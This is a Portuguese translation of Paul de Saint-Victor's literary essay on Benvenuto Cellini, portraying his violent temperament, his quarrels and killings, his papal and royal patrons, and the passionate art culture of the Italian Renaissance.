BENVENUTO   CELLINI – por Paul de Saint-Victor

BENVENUTO CELLINI – por Paul de Saint-Victor

BENVENUTO   CELLINI

Paul de Saint-Victor

(Trad. de Mário Ferreira dos Santos)

Benvenuto
Cellini tinha cinco anos, quando, numa tarde de inverno, seu pai, que tocava
viola ao canto do fogão, acreditou ver um animal semelhante a um lagarto que
dançava vivo na chama. Ordenou à criança que se aproximasse, e deu-lhe uma
bofetada que fez brotar lágrimas dos olhos. Mas o pai enxugou-as com carícias.
"Meu querido, disse–lhe, não bato para punir-te, mas somente para que te
recordes que este lagarto que percebes no fogo é uma salamandra, animal que
ainda não foi visto por nenhum homem vivo sobre a terra",

Este
fenômeno de sua infância foi o presságio e o símbolo de sua vida: êle também
foi um animal vivo na chama, um homem de fogo, de fel e de bílis, que se moveu
durante sessenta anos, em meio de paixões cujo primeiro impulso teria devorado
uma organização menos robusta. Suas Memórias, escritas nos últimos
anos, são as de um Orlando furioso da vida real. A mão do velho treme ao
retraçar sua história, não de velhice, mas de orgulho póstumo, de ódio
insaciado ou de vingança insatisfeita. É o cavalo de Ma-zeppa entrando no
estábulo: sangra, fumega, escuma ainda. Por tais fatos pode ver-se o que foi a
arte do século XVI, não como nas épocas repousadas, um luxo, um gosto, um
diletantismo, mas uma paixão violenta e terrível, um fanatismo obstinado, algo
como um maometismo às avessas, propagando, pregando, impondo seus ídolos com o
mesmo ardor que o outro punha em demoli-los. A vida de Cellini foi somente um longo acesso de cólera entrecortada de inspirações avassaladoras. Bandido
de mãos de fada, êle espargia jóias no sangue dos assassinos e das emboscadas,
como Atalante atirava maçãs de ouro na poeira da arena. Não teve o Renascimento
filho mais extravagante que este gladiador ao manejar o buril, que este ciclope
ao cinzelar anéis.  Contraste esquisito da imaginação mais delicada unida ao
caráter mais intratável.

O que o
caracteriza é a cólera tornada estado crônico. É exasperado de origem, nasceu
com espuma na boca. Tudo é instinto nesta natureza feroz, impulso espontâneo,
súbito e apaixonado de força. Ruge e eriça-se contra seus êmulos, como o leão
contra os concorrentes de seu antro ou de sua cisterna. Com vinte anos, vêmo-lo
entrar de cabeça baixa numa loja de ourives rivais. "Traidores!"
exclamou, "chegou o dia em que vos vou matar a todos!" Mais tarde,
êle apunhala, em plena Rua Roma, Pompeu, o joalheiro do Papa, de quem tinha
motivos de queixa. "Quênia sangrá-lo, mas, como se diz, não medimos os
nossos golpes".

Em
Paris, entrou armado até os dentes, no atelier de Primatice, que lhe
disputava uma estátua, e fê-lo renunciar à encomenda, espada na garganta.

"Messer
Francesco, saiba que, se alguma vez eu ouvir que tornou a falar de um modo
ou de outro dessa encomenda, que me pertence, eu o matarei como a um
cão".

Em
Florença, encontra-se com aquele sombrio e odioso Baccio Bandinelli, que mordeu
o cinzel de Miguel Ângelo, mais duro ainda que a lima mordida pela serpente da
fábula. Tipo de artista invejoso, que Dante teria colocado em seu Purgatório, entre aquelas almas que se rastejam, em posturas de
cariátides, curvados sob enormes pedras.

A
luta foi terrível entre Baccio e Benvenuto. Aqui ataques e defesas se
equilibram: mesma altivez de orgulho, mesmo negrume de temperamento, mesmas
faculdades de acrimônia e ódio. É preciso vê-los disputar cada bloco de mármore
que chega ao duque de Carrara ou da Grécia: dár-se-ia que vão quebrá-lo para
apedrejarem-se com os fragmentos. Outras vezes, encontram-se ante uma obra que
um deles acaba de terminar. Então, ao pé da estátua do grupo, trava-se uma luta
que lembra aquelas esculturas dos pedestais antigos que representam dois
carneiros furiosos entrechocando-se com os cornos.

Mas Cellini
vence, nessas invectivas homéricas: êle soa a injúria com a trombeta. Escutai-o
desancar o Hércules de seu rival; sua palavra vale a espada de Apoio
dissecando Marsias: ela penetra no mármore como na carne viva: "Pretende-se
que, se cortassem os cabelos de teu Hércules, não restaria suficiente crânio
para conter o cérebro; não sabem se o resto é de um homem ou de um leão ou de
um boi; dizem que sua cabeça não tem movimento, e não é proporcional ao
pescoço; que seus dois ombros se assemelham aos cestos de um jumento; que as
barrigas das pernas não são copiadas de um modelo humano, mas de um saco cheio
de melões que teriam apoiado perpendicularmente sobre um muro; que as costas
produzem o efeito de um saco de grandes abóboras; buscam em vão de que maneira
as duas pernas estão ligadas a esse dorso horrível que não as apóia nem sobre
uma nem sobre a outra. Esta pobre estátua pende para a frente mais de uma braça,
o que é o maior e mais terrível erro que possam cometer artistas tais como
conhecemos às dúzias; observem que os braços descem tão desgraciosamente, que
são tentados a crer que jamais viram gente nua e viva; que a perna direita de
Hércules e a de Cacocus não têm sequer uma barriga de perna para ambas; dizem
ainda que um dos pés de Hércules está em terra e que o outro parece colocado
sobre o fogo…

E prossegue
assim, zombando, ultrajando, vociferando até perder o fôlego. Não tem um
instante de repouso, nem uma trégua, nesta existência agressiva. Desembainhar,
tirar o punhal, era o mais espontâneo e o mais freqüente de seus gestos. Todas
as afrontas são iguais ante seu rancor. Culpava de morte a irreverência e o
ultrage, a ofensa fútil tanto quanto a afronta sangrenta. Como tinha consagrado
e coroado a si mesmo monarca absoluto de sua arte, cada delito à sua pessoa,
julgava crime de lesa-majestade.

Seu
irmão foi morto num conflito de corpos da guarda; êle olha de soslaio
"igual a uma concubina" o arcabuzeiro que deu o tiro, até que,
encontrando-o à porta de uma ta-berna, o degola, pelas costas, com um golpe de
estilete entre o pescoço e a nuca.

Um
hoteleiro de Ferrara, em cuja hospedaria entrou, quis ser pago adiantadamente
antes de recebê-lo: igual furor, igual ressentimento. Passou a noite a forjar
projetos de vingança. "Pensei de início pôr fogo à casa, depois degolar
quatro cavalos que o hoteleiro tinha em seu estábulo". Mas, faltando-lhe
tempo, descarregou a cólera, antes de partir, nos leitos do albergue, onde
cortou a roupa de cama com grandes golpes de faca: "Cortei tão bem quatro
camas, que dei mais de cinqüenta escudos de prejuízo".

As questões
com as amantes levaram-no às brigas e aos maus tratos. Antes de se vingar de
uma jovem que lhe servia de modelo, e que lhe havia enganado com um de seus
aprendizes, forçou-a a posar, durante horas, nas atitudes mais fatigantes.
Quando ela quis queixar-se, surrou-a até prostrá-la. "Inflamado de furor,
segurei-a pelos cabelos e arrastei-a pelo quarto, aos pontapés e aos socos, até
que a fadiga me deteve".

Esta
violência febril era peculiar ao temperamento do século. Nada mais curioso que
as relações de Cellini com seus patronos; e reina aí não sei que cordialidade
áspera e acerba.

Tendo
um bispo espanhol demorado em pagar o trabalho de um vaso, pediu-o de volta,
sob o pretexto de acabar, e aos criados que vieram reclamá-lo exibiu uns dentes
de dragão que guarda o seu tesouro. O bispo enviou um bando de facínoras para
assaltá-lo em seu "atelier"; êle os recebeu, e, vaso na mão, o
punhal na outra, penetrou altivamente no palácio do prelado. Atravessou uma
antecâmara repleta de esbirros sentados com suas armas. "Julguei que
passava no meio do Zodíaco; um tinha o semblante do Leão, outro do Escorpião,
aquele do Câncer". Ao vê-lo, o bispo irrompeu em exclamações: queria o
cálice; Cellini reclamava o dinheiro. O caso terminou por uma permuta amável
de louvores e de injúrias.

Os próprios
papas não o intimidavam: enfrentou Clemente VII, Paulo III, aqueles
terríveis pontífices, que empunhavam o bastão pastoral de maneira a fazer
tremer seus rebanhos. Delongava o serviço, fazia-os esperar, trabalhava para
eles segundo a fantasia, nas horas vagas. Eis como se passavam de ordinário
essas alterações.

O papa
conta com o cálice ou a tiara que lhe encomendou; o artista não tem pressa e
envia ao diabo seus mensageiros. Chamam-no ao Vaticano, comparece de cabeça
erguida.    Sua Santidade, encolerizado, resmunga, ameaça.

"Em
verdade, eu te declaro, a ti que proclamas não prestar contas a ninguém, que se
não fosse por respeito humano, eu te faria atirar pela janela com tua
obra!"

Cellini
replica, eleva o tom ao diapasão dessa voz que abençoa o mundo e que excomunga
os impérios; o Vaticano treme, os cardeais, inquietos, se entreolham… Tudo
termina por um beijar o pé e por um sorriso paternal.

Pois os
grandes artistas eram as crianças mimadas desse papado ateniense da
Renascença.

Êle
permitia todas as excentricidades e todos os caprichos; cumulava-os com suas
absolvições e liberalidades; de-savinham-se e reconciliavam-se impunemente com
êle.

Aquele
violento Júlio II, que tudo fazia tremer, somente desenrugava o semblante
ante Miguel Ângelo. Era um caso de anátema tirarem-lhe seu escultor. Quando o
artista, mal tratado por êle, fugiu de Florença, lançou sobre o Senhor daquela
cidade breves fulminantes para intimá-lo a devolvê-lo. Miguel Ângelo veio
reencontrá-lo em Bolonha, entrou, com ar de leão doméstico espancado pelo
dono, na sala onde o papa jantava, cercado do Sacro Colégio. Júlio, franzindo a
sobrancelha embranquecida, mediu-o dos pés à cabeça com um olhar irritado:

—  Finalmente,
em vez de vires encontrar-me em Roma,
esperaste que nós fôssemos procurar-te em Bolonha!

Ante
estas palavras, um dos bispos do séquito acrescentou:

—  Que
vossa Santidade o perdoe. Esta espécie de gente é composta de ignorantes que só conhecem a sua profissão.

Mas
o papa, furioso, voltando-se de lado, com seu báculo bateu no mitrado imbecil:

—  Ignorante
és tu! Tu o ultrajas quando nós apenas lhe dizemos injúrias, nós!  Ignorante
sei tu che gli di valiamia, che non gliene diciam noi.

Cellini
teve, para com seus papas, cenas semelhantes. Podia encher Roma de assassinos e
de algazarras, pois bastava-lhe um anel, uma jóia, um camafeu para reobter a
graça.

Assim,
quando êle liqüida o assassino de seu irmão, de início, Clemente VII se
aborrece, manda-o ao Quirinal e observa-os com olhos ameaçadores.   Cellini
tira de sua escarcela um botão de capa-manga, no meio do qual gravou, em meio
relevo, um maravilhoso Deus Padre, sentado sobre um grande diamante sustentado
por anjinhos.

Imediatamente,
a cólera do papa se dissipa; o rosto brilha, como iluminado pelo reflexo da
divina jóia. Não é mais um juiz irritado, um soberano prestes a punir, é um
amador idolatra volvendo e revolvendo uma jóia excepcional entre as mãos
trêmulas de entusiasmo.

—  Benvenuto
mio,
julgo que te encontraste em tal situação que não poderias proceder de
outro modo.

O
primeiro ato de Paulo III foi absolvê-lo do assassínio de Pompeu, cometido
durante o interregno; e como um Monsenhor objetava a lei a este excesso de
clemência:

—  Aprende,
disse-lhe o papa, que os homens exclusivos em sua profissão, como Benvenuto,
não devem ser submetidos às leis, e êle menos que qualquer outro.

Assim a
razão da arte era posta acima da razão de Estado nessa Roma da Renascença, que
festejava como santos os deuses do Olimpo e que passeava por suas ruas o grupo
exumado do Laocoonte, da mesma forma como teria procedido para com o
corpo de um mártir encontrado nas Catacumbas. A arte era a segunda religião
desses pontífices patrícios; queriam que o catolicismo a elevasse até pela
forma, acima ao paganismo, e que o crucifixo fosse tão bem modelado como
Júpiter. Era o primeiro cuidado e a última solicitude de seu reino.

Clemente VII havia
encomendado medalhas a Benvenuto; a doença reteve-o, e lhe foram levadas ao
leito de morte. O velho papa moribundo ergue-se nos travesseiros; acenderam os
círios, pôs os óculos; mas a nuvem da agonia vedava já os olhos; nada pôde
discernir. Então apalpa, tateia, com suas mãos senis, os fracos relevos dessas
belas medalhas que renuncia ver; depois lança um grande suspiro e recai abençoando
pela última vez seu Benvenuto.

Nunca um
século teve uma admiração tão pura e tão profunda das obras-primas da mão
humana. Saía-se do caos das épocas bárbaras, a escultura antiga surgia do
sepulcro; tipos desconhecidos de grandeza e de beleza surgiram ao sol. Sob sua
divina influência, o gênio humano, tão longamente estéril, redescobria suas
forças plásticas: coneebia, engendrava formas esquisitas e grandiosas. O mundo
vivo contemplava, deslumbrado e arrebatado, aquele mundo imóvel. Era como uma
segunda Criação tão fecunda, tão espontânea como a outra. O homem retornava à
atitude admirada de Adão despertando em meio da multidão infinita dos seres
encandecidos pela primeira aurora.

Compreende-se,
então, o valor que o século XVI
concedia aos grandes artistas, desde o
arquiteto que construía palácios, até o ourives que cinzelava anéis.
Compreende-se sobretudo o acolhimento que os Bárbaros faziam àqueles
italianos que vinham, como os Magos da Renascença, com mãos cheias de raridades
e de maravilhas exóticas.

Nada mais
comovedor que a conduta de Francisco I para com Benvenuto Cellini,
quando, a seu convite, veio instalar em França sua forja de Polifemo.
Cumulou-o de libe-ralidades, deu-lhe um castelo para "atelier", e
chamou-o de seu amigo. "Eu te farei nadar em ouro", disse-lhe um dia.
A cada jarro, a cada copo, a cada estátua nova eram elogios reais e louvores
magníficos: "Eis um homem que verdadeiramente merece ser amado!" Ou,
ainda: "Na verdade, creio que nem sequer os antigos foram capazes de
produzir nada tão belo!"

Este rei,
gaulês, e batalhador, mas sensual até à ponta dos dedos, cai em adoração ante
as delicadas figurinhas que modela aquela mão de feiticeiro. Maravilha-se de
beber num jarro no qual uma Ninfa recurvada contempla no vinho sua elegante
cabeça. Alegra-se por servir-se do sal com uma concha de Anfitrite que enlaça
Cibele com suas longas florentinas. Não se cansa de admirar as graças e a
altivez do estilo toscano, para êle tão novas. Era a surpresa do guerreiro de
Tasso, transportado do campo feroz dos Cruzados, para este jardim de fadado
Oriente, onde chovem flores, onde os pássaros falam, onde o Amor paira no ar luminoso.

Um dia, em
que o rei se amargurava na ansiedade de uma guerra desastrosa, o cardeal de
Ferrara leva-o a ver uma porta de que Cellini acabara de fazer o modelo. Deixou
conduzir-se, preocupado e lúgubre ainda. Mal viu a Ninfa de Fontainebleau,
pousada com o cotovelo no flanco de um cervo, e voluptuosamente alongada na
curva de hemiciclo, sua fisionomia se iluminou: os olhos recuperaram o brilho
alegre, o sorriso de fauno amoroso retornou aos lábios. Não pensava mais no
Imperador nem no Milanês: entregava-se inteiramente às alegrias da admiração
artística que, nele, correspondiam às sensações do amor.

"Meu
amigo, — disse-lhe Benvenuto, tocando-lhe no ombro, — não sei quem é mais
feliz, se o príncipe que encontra um homem conforme seu coração ou o artista
que encontra um príncipe que saiba compreendê-lo".

Como
admirar-se, após estas palavras, do orgulho de um homem que se tornou comensal
dos papas e amigo dos reis!

Um
tesoureiro de Francisco I quis que êle viajasse na carruagem da mala postal.
"Assim viajam os filhos do duque", alegou para decidi-lo.

—  Como
nunca fui filho de duque, — replicou Cellini, — não sei como viajam essas
personagens, mas os filhos de minha arte viajam em pequenas jornadas.

Um
mordomo do duque de Florença, que êle maltratava como era o seu costume,
admira-se "que se tenha julgado digno de falar a uma pessoa tal como
êle".

—  Os
homens como eu são dignos de falar tanto aos papas, aos imperadores como aos
grandes reis. Não se encontrarão dois do meu feitio no mundo inteiro; mas, as
pessoas como vós, encontramo-las às dezenas em cada parte.

Nunca
a vaidade foi tão feroz: imaginemos um pavão armado do bico e das garras de uma
ave de rapina. Tudo deve ceder e curvar-se ante êle. Só êle tem gênio, a glória
e a ciência infusa, Não contesta o talento de seus rivais, até o mais ilustre:
não, nega radical e absolutamente. A própria Antigüidade só vale para ressaltar
suas obras.

Primatice
acaba de trazer de Roma estátuas de bronze que reproduzem os mais belos
mármores do Vaticano e do Capitólio; mas os expõe na galeria onde impera o
Júpiter de Cellini, e as pobres figuras antigas não podem suportar a presença
do Deus trovejante. A comparação aniquila-as; mais um pouco, e êle as fará cair
por terra ante sua obra–prima, como os ídolos diante do verdadeiro Deus.

A
perpendicular da presunção não saberia ir além. Não são demasiadas as apoteoses
perpétuas em que se pavoneia; um dia, êle orna de uma auréola sua touca
florentina, e canoniza a ai mesmo ainda vivo.

"Não
quero guardar silêncio sobre a coisa mais assombrosa que jamais sucedeu a um
homem. Saibam que, após a visão que contei, ficou-me na cabeça uma luz
miraculosa que foi perfeitamente vista pelo número restrito de amigos a quem
mostrei. Percebem-na na minha sombra, de manhã, durante duas horas, a contar
da aurora, sobretudo quando a erva está coberta de orvalho, e à tarde, ao crepúsculo.
Eu a observei em França, em Paris, onde a vemos muito melhor do que na Itália,
porque, neste país, o ar está muitas vezes carregado de névoas. Posso, no entanto,
vê-la e mostrá-la aos outros em todos os lugares, mas sempre menos
distintamente do que em França". Tal como é, tal como se pintou de cores
biliosas e sangrentas, é amado e admirado este bravo de gênio. Seus
excessos são os da força, suas paixões as da vida exaltada ao paroxismo. O
fervor pela arte devora-o; batesse por uma estátua como por uma amante, aprova
os discípulos de Rafael que queriam matar o Rosso porque êle difamara o nome
do mestre. A "força soberba da forma", Vis superba formae, como
disse um poeta latino de seu tempo, transporta-o de admiração. Devemos ouvi-lo em seu Discurso sobre os princípios da arte do desenho, fala como idolatra da beleza
do corpo humano, de suas ossamentas, de seus membros, dos móveis internos que
lhe fazem mover e agir.

"Tu
farás teu discípulo copiar um desses magníficos ossos das pernas, que tem a
forma de bacia, e que se articula tão admiravelmente com o osso da coxa…
Quando tiveres desenhado e bem gravado em tua memória este osso, co-meçarás a
desenhar aquele que está colocado entre as duas ancas; é belíssimo e chama-se satrum...
Estudarás a seguir a maravilhosa espinha das costas que se chama vertebral.
Ela apóia-se sobre o sacrum, e ela é composta de vinte e quatro ossos
que chamam vértebras… Deveras ter prazer em desenhar esses ossos, pois são
magníficos. O crânio deve ser desenhado em todos os sentidos imagináveis, a
fim de que não possa sair da memória. Pois, convence-te de que o artista que
não tem os ossos do crânio bem gravados na memória, nunca saberá fazer uma
cabeça que tenha a menor graça… Quero também que guardes de memória todas as medidas
da ossatura humana a fim de que possas mais seguramente revesti-la da carne,
dos músculos e dos nervos, e que se serve a divina natureza para ajuntar e
ligar essa incomparável máquina".

Este entusiasmo é
compartilhado por toda a sua época. Sabe-se com que fervor Miguel Ângelo
anatomizava os cadáveres, colocando-lhes uma candeia no umbigo, para estudá-los
até durante a noite.   O esqueleto não é mais, como na idade média, o terrível
farrapo de uma carne desprezível, mas a admirável armadura do vigor e da
beleza.  O homem pende sobre a cabeça do morto com arrebatamento; aí não busca
mais a repugnância, mas o segredo da vida; mede nas cavidades do crânio, a
órbita dos olhos de Apoio; do ríctus cheio de esgares extrai o radiante sorriso
de Vênus.  Os Deuses, as Ninfas, os Heróis, os Anjos, as Deusas que povoam com
seus belos corpos os palácios e os templos, saem da carne, fecundada, como as
flores da podridão.   O século XVI
inaugura o triunfo plástico da Morte.

Todas
as causas do buril e do desbastador são sagradas para Benvenuto. É tão
inteiramente possuído por sua arte que ela o persegue até em seus sonhos. Êle
escultura o impalpável, cinzela o sonho. Encarcerado por Paulo III, no
castelo de Santo Ângelo, uma visão lhe aparece onde vê o sol como um disco
imenso, representando ao mesmo tempo Cristo e a Virgem.

"O sol, sem raios, assemelhava-se a
um banho de ouro fundido.   Enquanto considerava este fenômeno, o centro do
astro intumeseeu e dele saiu um Cristo crucificado, formado da mesma matéria
luminosa.   Respirava uma graça e uma mansuetude tais, que o espírito humano
não poderia imaginar nem a milésima parte… pois o centro do astro intumesceu
como da primeira vez, e tomou a forma de uma arrebatadora Nossa Senhora
sentada e tendo sobre o braço o Menino divino que parecia sorrir.   Ela estava
colocada entre dois Anjos de uma inacreditável beleza".

Persistindo na
alucinação, o ourives gravou o sol na efígie das medalhas.

Por suas qualidades
como por seus  defeitos, por seu talento como por sua loucura, Benvenuto
Cellini é a mais original
personificação desta Itália artística artística do século XVI, que produziu seres à parte nas seqüências da
história. Estranhas criaturas organizadas para o mal e para o
gênio, para as violências do crime e para as obras da inspiração. A Itália, nessa época, oferece o espantoso
espetáculo de um Pandemonium enobrecido e decorado pelas artes.
Tem monstros letrados e bandidos diletantes, Périeles envenena-dores e Fídias
assassinos. Tigres saltam e emboscam-se nos jardins de Armida. Os ódios são
atrozes, os ressentimentos implacáveis, as concorrências se despojam a golpes
de estilete; mas um sopro divino paira sobre esta tempestade humana; a seiva
desborda e fermenta; e a Arte cresce pela força dessas paixões desencadeadas,
como o bronze toma uma forma sublime em meio das chamas e das escórias da
fundição.

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